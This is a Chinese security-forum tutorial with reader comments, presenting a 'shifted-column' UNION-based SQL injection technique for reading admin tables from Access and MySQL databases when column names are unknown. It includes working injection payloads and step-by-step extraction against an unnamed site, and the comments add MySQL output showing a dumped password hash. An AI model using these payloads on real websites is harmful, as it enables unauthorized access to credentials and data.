移位溢注:告别依靠人品的偏移注入时代

2017-03-01 20:10:43 53 6825 9
介绍:
在Access数据库类型注入的时候,我们获取不到列名(前提是有表名),一般会选择使用偏移注入,但是这种注入方式往往借助的是个人的人品,且步骤繁琐。本文中我们研究了一种新的注入技术让“偏移注入不在需要人品”。在这里定义这种注入技术为:“移位溢注技术”。
它适用于ACCESS和MYSQL(任何版本)

正文:
我们先来看看普通的偏移注入步骤:
1.判断注入点
2.order by 判断长度
3.判断表名
4.联合查询
5.获取表中列数:union select 1,2,3,4,..,* from TABLE
6.开始偏移注入:TABLE as a inner join TABLE as b on a.id=b.id

由于步骤6的方法过于需要人品值,且语句繁琐,因此在这里,我们研究新的注入技术:

首先来看看步骤6语句的整体意思:
步骤6的语句,表示给TALBE取2个别名,然后分别用别名取查询TALBE的内容(表a和表b);而on a.id = b.id 这样的条件是为了满足语法需求,实际并没有作用,因为相同内容的表,相同字段内容一定相同。

这时,我们再回过头来看步骤5:
由于联合查询中select后面添加数字的目的是为了让联合查询返回接结果和网站正常查询返回的结果的列数一致(不一致数据库会报错,页面无法显示),且*表示通配符,可以表示整个表格所有列;因此这里通过数字来占位,并使用*来替代TABLE中的所有列,使得联合查询可以完成,并推算出*的值。

这时候我们继续研究偏移注入的整体公式方法,发现即使使用多级偏移注入也需要一定的概率(人品值)才可以得到想要的结果,所以我们就尝试研究新的方法能不能替换这种不固定概率的方法。

现在我们重新整理一下SQL语句,从联合查询开始:
1.原union语句:union select 1,2,3,..,p..,n from TABLE
(p=页面爆出的数字,可能有多个p1,p2..;n=原网站查询的总列数;TALBE=我们获得的表名;下面开始就使用上述字母的定义)

2.新语句:
union select 1,2,3,..,p-1,TABLE.*,p+k,..,n from TABLE where 字段名 = 字段内容  
--在p的位置爆出TALBE表中第一个字段的内容(其他位置还可能爆出更多内容)
(这里如果存在已知字段名可以使用,没有就不用,一般id这个字段时存在的,可以使用id = 1来显示第一行)

union select 1,2,3,..,p-2,TABLE.*,p+k-1,..,n from TABLE where 字段名 = 字段内容
--在p的位置爆出TALBE表中第二个字段的内容(其他位置还可能爆出更多内容)

union select 1,2,3,..,p-3,TABLE.*,p+k-2,..,n from TABLE where 字段名 = 字段内容
--在p的位置爆出TALBE表中第三个字段的内容(其他位置还可能爆出更多内容)
注:这里一定是TALBE.*而不是*

3.1 以此类推可以爆出TALBE的每一列内容。
3.2 如果p<k则没法爆出p+1列至k列的内容,如果n-p<k则无法爆出第1列至k-(n-p)列。

原理:
1.由原语句:union select 1,2,3,..,p..,n-k,* from TABLE 可以得出该联合查询的目的是构造和原网站相同列数的查询结构,使得页面上可以显示对应的数字;这条语句相当于是做了两次查询并将它们的结果合并,第一次做了select 1,2,3,..,n-k from TALBE ,第二次做了select * from TALBE ,然后将它们的结果合并。

这可以参考mysql的语句:select 1,2,3,4,5,admin.* from admin;





2.只要满足原理1的要求,保障联合查询的结果和原网站查询的结果列数一致即可;因此可以将TALBE.*向前移动至页面显示的数字处来爆出TALBE列中的内容。
这可以参考mysql的语句:

select 1,2,3,4,5,6,7,8,9,10 from news where id =1 union select 1,2,3,4,5,6,7,admin.* from admin;

select 1,2,3,4,5,6,7,8,9,10 from news where id =1 union select 1,2,3,admin.*,7,8,9,10 from admin;
注:假设数字4、5在页面显示。

由下图可知,其实数据已近查询出来,但是页面没有显示,这个是通过平移查询结果到页面显示的数字上去,即可爆出敏感字段。



例子:
步骤1:判断注入点是否存在


步骤2:判断字段长度:order by 35



步骤3:获得表名(必备条件) and exists(select * from admin)


步骤4:获取不了列名(当尝试多个常用字段名以后,最终还是发现无法获得字段名)

步骤5:使用联合查询(union select)


步骤6:使用新注入技术方法
(1)获取admin表的列数:
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,* from admin                         --返回错误页面

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from admin                              --返回错误页面

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,* from admin                                    --返回错误页面

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,* from admin                                          --返回错误页面

。。。

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,* from admin                                                    --返回步骤5页面,因此admin表的列数为6




(2)由于网页中包含连续数字,表示可以显示连续的查询结果,构造SQL语句查询前四列第一行。

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin



(3)由第一行第一列内容为1,可以猜测该表有id字段,因此修改语句获取其他行。
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin where id = 3


总结
在这里我们命名这种新注入技术为"移位溢注"由此如果MYSQL小于5.0的情况下所具备的条件和ACCESS一样,也可以使用此方法注入,如果是MYSQL大于5.0的版本,使用此方法可以省去获得列名的步骤。

米斯特安全攻防实验室 MST.Lab @ Seagull

期望TCV:10-20

关于作者

mstkey36篇文章405篇回复

信息安全爱好者

评论53次

要评论?请先  登录  或  注册
  • TOP1
    2017-3-3 17:53

    对于楼主的研究精神,无疑表示赞赏。万物的价值在于我们的眼光及自身所处的位置。注:正常情况下第一点可以不用,2有了1的作用。序:在肯定的基础上表达自己对偏移注入(及所有看似过气漏洞)的观点。虽然我不懂sql语句,但这不影响我们交流。【偏移注入的作用及价值】在我们注入得不到"字段"时,常规来说(目前也是,以下分解)如果运气够好就可以解决这个问题。【偏移注入的基本利用条件】总字段数(order by 的结果)必须大于目标表的字段数*2【简单了解偏移注入的原理】1.数据库为了保持元素的唯一性,会把我们偏移语句的查询结果打乱且重新返回。2.若目标的字段数为25那么我们查询的结果可能会出现在25个字段中的任意一个。如3和11为显位,返回结果正好返回在3或11,那么我们就可以看到返回的结果。 所以每次提交得到返回的概率=------------------------------------------------------------------------------重点------------------------------------------------------------------------------这种类型的漏洞或利用我把它当成点心,有则滋润。这里的一个重点在于目标的总字段数,若可以不用考虑目标字段数的多少,对于"注入"这个世界而言,价值还是比较大的。两种情况↓(总字段数(order by 的结果)小于目标表的字段数*2)前提条件不够则是无法利用,终结。(总字段数(order by 的结果)大于目标表的字段数*2)我们可以有很多方法来提高偏移的成功率。【影响偏移注入成功率的因素】1.字段数越多越好(总字段数)已知利用偏移必须(总字段数(order by 的结果)大于目标表的字段数*2)如果总字段数足够多,达到了(总字段数大于目标表的字段数*3甚至4)那我们就可以偏移3次、4次对成功率影响重大2.显位越多越好根据上面的公式说明显位数量的重要性。3.目标表(默认为管理表)内字段数越少越好字段数为21 目标表字段数为8 那么可以偏移两次若目标表字段数为5则可以偏移4次4.得到的字段名越多越好正常一次偏移语句↓union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)这里的id实际为目标表内存在的字段名,一般表内都有存在id名称的字段。若改成表内存在的其他字段名也是可以的,前提是只要存在。所以又"细化"解决了得到了一个管理字段的尴尬情况。偏移注入的总成功率=其他条件*得到的目标表内实际存在的字段名数量多一个字段名,成功率就会在基础上*100%5.通过打乱代替字段数的字母来或者成功率普通一次偏移语句还可以这样写这里a和b分别代表了管理表内的字段数量,可缺省。存在则增加成功率。同理,二次偏移的时候可操作的数量增加(a、b、c )这些都是之前搞的时候积累的一些东西,所以只要字段数够偏移,后面基本是没什么问题的。都是一些没技术含量的东西,顺便提下1.隐性显位对于任何显错注入来说都很重要部分显位在源码中,若我们可以得到一个或多个隐性显位则对偏移注入的成功率*(100%*隐性显位数量)2.不用偏移注入浑身难受的一点技巧对于字段数的要求比较高,之前接触的时候很多新手翻到个注入 发现字段数少就觉得和偏移注入没什么关xi了【如何得到尽可能多的字段数注入点】我们了解到注入点字段数实际上是当前注入的脚本名内所查询的表内的字段数大家都知道每个表内的字段数是不同的,所以就测试的时候就找不一样的带参数的文件名去测试,很可能所查询的表名不一样,字段数自然就不一样了。也会增加遇到多字段数注入点的可能性。、总结:一点小想法,楼主发的还是不错的。*-*

  • 33楼
    2017-3-3 10:47

    哦,明白了,应该是免去了爆破列的麻烦,嗯,是个好思路。

  • 32楼
    2017-3-3 10:21

    这研究深度,给了不少提示啊

  • 31楼
    2017-3-3 09:52

    虽然access 数据库基本淘汰了,但是技术研究赞一个

  • 30楼
    2017-3-2 19:18
    轩轩爱装逼

    有人盗版权了

    1

    首发确实是在fb,也是我自己发的,但是因为fb审核是3天,所以就在土司分享了

  • 29楼
    2017-3-2 17:15

    有人盗版权了

  • 28楼
    2017-3-2 16:14
    Anonymous

    楼主,如果用你的方法,我这个注入点怎么出数据呢?(5.5.53)

    1
    v5est0r

    注意显示位呀

    2

    谢了基友,搞定了,谢谢

  • 27楼
    2017-3-2 16:02
    Anonymous

    楼主,如果用你的方法,我这个注入点怎么出数据呢?(5.5.53)

    1

    注意显示位呀

  • 26楼
    2017-3-2 15:10

    2333,不建议看p,k那段原理的抽象,直接往下看就一目了然了 总结:admin.*代替了剩余的列,这是移位,溢注,就不太明白了,没有溢出的意思吧?

  • 25楼
    2017-3-2 14:50

    楼主,如果用你的方法,我这个注入点怎么出数据呢?(5.5.53)

  • 24楼
    2017-3-2 13:31

    你的文章被人转载发到freebuf了,还是首发。

  • 23楼
    2017-3-2 13:01
    Anonymous

    先不说有现在大型网站环境中有多少ACCESS,就算mysql<4.0都是没有的,5.0以上也用不了这玩意。现在 大型网站很多都是Oracle了,几年前发出来说不定你们娱乐圈团队还能火一把,来你们培训的人说不定还多点。

    1
    mstkey

    哦?娱乐圈?对于你的话(mysql>=5.0用不了):请问阁下有研究过吗?首先这是对我们实验室的研究成果不尊重,其次就是,如果没复现过就随意踩帖子很好?再有就是,思路仅供参考分享,你这样是为了什么呢?最后,你可以不匿名发表吗?这是害怕什么?发个文章都能被你这样利用,难道你就是传说中的吃不到葡萄说葡萄酸的"大牛"?还是说,大牛你也来一篇这样的文章如何?咱们别语言攻击,拿实力来证明?

    2

    表哥息怒,大家都是互相学xi,互相交流

  • 22楼
    2017-3-2 12:34
    Anonymous

    先不说有现在大型网站环境中有多少ACCESS,就算mysql<4.0都是没有的,5.0以上也用不了这玩意。现在 大型网站很多都是Oracle了,几年前发出来说不定你们娱乐圈团队还能火一把,来你们培训的人说不定还多点。

    1
    mstkey

    哦?娱乐圈?对于你的话(mysql>=5.0用不了):请问阁下有研究过吗?首先这是对我们实验室的研究成果不尊重,其次就是,如果没复现过就随意踩帖子很好?再有就是,思路仅供参考分享,你这样是为了什么呢?最后,你可以不匿名发表吗?这是害怕什么?发个文章都能被你这样利用,难道你就是传说中的吃不到葡萄说葡萄酸的"大牛"?还是说,大牛你也来一篇这样的文章如何?咱们别语言攻击,拿实力来证明?

    2
    Anonymous

    麻烦不要断章取义,我这里说的是5.0以上不需要用这个 ,谢谢

    3

    笑cry.随你怎么喷,反正给我带来的永远是化喷为动力。

  • 21楼
    2017-3-2 11:52

    思路好 要好好学xi下

  • 20楼
    2017-3-2 11:52
    Anonymous

    先不说有现在大型网站环境中有多少ACCESS,就算mysql<4.0都是没有的,5.0以上也用不了这玩意。现在 大型网站很多都是Oracle了,几年前发出来说不定你们娱乐圈团队还能火一把,来你们培训的人说不定还多点。

    1
    mstkey

    哦?娱乐圈?对于你的话(mysql>=5.0用不了):请问阁下有研究过吗?首先这是对我们实验室的研究成果不尊重,其次就是,如果没复现过就随意踩帖子很好?再有就是,思路仅供参考分享,你这样是为了什么呢?最后,你可以不匿名发表吗?这是害怕什么?发个文章都能被你这样利用,难道你就是传说中的吃不到葡萄说葡萄酸的"大牛"?还是说,大牛你也来一篇这样的文章如何?咱们别语言攻击,拿实力来证明?

    2

    麻烦不要断章取义,我这里说的是5.0以上不需要用这个 ,谢谢

  • 19楼
    2017-3-2 11:44
    reber

    mysql> select id,uid,title,content,date from msg where id=-1 union select *,2,3 from user limit 0,1;+----+----------+----------------------------------+---------+------+| id | uid | title | content | date |+----+----------+----------------------------------+---------+------+| 1 | xiaohong | *B8CF4FF5E1340B39A9E15B37BE808C1 | 2 | 3 |+----+----------+----------------------------------+---------+------+1 row in set (0.02 sec)mysql> select id,uid,title,content,date from msg where id=-1 union select 1,*,3 from user limit 0,1;ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '*,3 from user limit 0,1' at line 1mysql> select id,uid,title,content,date from msg where id=-1 union select 1,user.*,3 from user limit 0,1;+----+-----+----------+----------------------------------+------+| id | uid | title | content | date |+----+-----+----------+----------------------------------+------+| 1 | 1 | xiaohong | *B8CF4FF5E1340B39A9E15B37BE808C1 | 3 |+----+-----+----------+----------------------------------+------+1 row in set (0.02 sec)试了一遍才理解文章。。。mysql5.5也是可以的,不过*不能为非第一列,如果是 非第一列的话要用 表名.*

    1

    i理解万岁

  • 18楼
    2017-3-2 11:24

    mysql> select id,uid,title,content,date from msg where id=-1 union select *,2,3 from user limit 0,1; +----+----------+----------------------------------+---------+------+ | id | uid | title | content | date | +----+----------+----------------------------------+---------+------+ | 1 | xiaohong | *B8CF4FF5E1340B39A9E15B37BE808C1 | 2 | 3 | +----+----------+----------------------------------+---------+------+ 1 row in set (0.02 sec) mysql> select id,uid,title,content,date from msg where id=-1 union select 1,*,3 from user limit 0,1; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '*,3 from user limit 0,1' at line 1 mysql> select id,uid,title,content,date from msg where id=-1 union select 1,user.*,3 from user limit 0,1; +----+-----+----------+----------------------------------+------+ | id | uid | title | content | date | +----+-----+----------+----------------------------------+------+ | 1 | 1 | xiaohong | *B8CF4FF5E1340B39A9E15B37BE808C1 | 3 | +----+-----+----------+----------------------------------+------+ 1 row in set (0.02 sec) 试了一遍才理解文章。。。 mysql5.5也是可以的,不过*不能为非第一列,如果是 非第一列的话要用 表名.*

  • 17楼
    2017-3-2 10:25
    v5est0r

    我再来说说我的笨的理解方式:核心就是*在带入查询的时候,表里共有几个列都计算在内了。假设已知表名admin,其内有3个字段,则下面的查询是成功的查询:select 1,2,3,4,5,6 from test union select 1,2,3,* from admin;

    1

    冰河表哥理解正确

  • 16楼
    2017-3-2 09:49

    我再来说说我的笨的理解方式: 核心就是*在带入查询的时候,表里共有几个列都计算在内了。 假设已知表名admin,其内有3个字段,则下面的查询是成功的查询:

    select 1,2,3,4,5,6 from test union select 1,2,3,* from admin;

  • 15楼
    2017-3-2 00:46
    冰封

    看着看着就发现了问题,当出现 原始的sql语句查询字段数 比 union 查询的字段数少的时候就行不通了。比如这条sql:select name from user where id=1*; 查询的时候 该方法将不能使用。报错注入的话也没办法

    1

    额,你说的有点模糊啊还是说你可能没理解:*=列数

  • 14楼
    2017-3-1 23:49

    看着看着就发现了问题,当出现 原始的sql语句查询字段数 比 union 查询的字段数少的时候就行不通了。 比如这条sql:select name from user where id=1*; 查询的时候 该方法将不能使用。 报错注入的话也没办法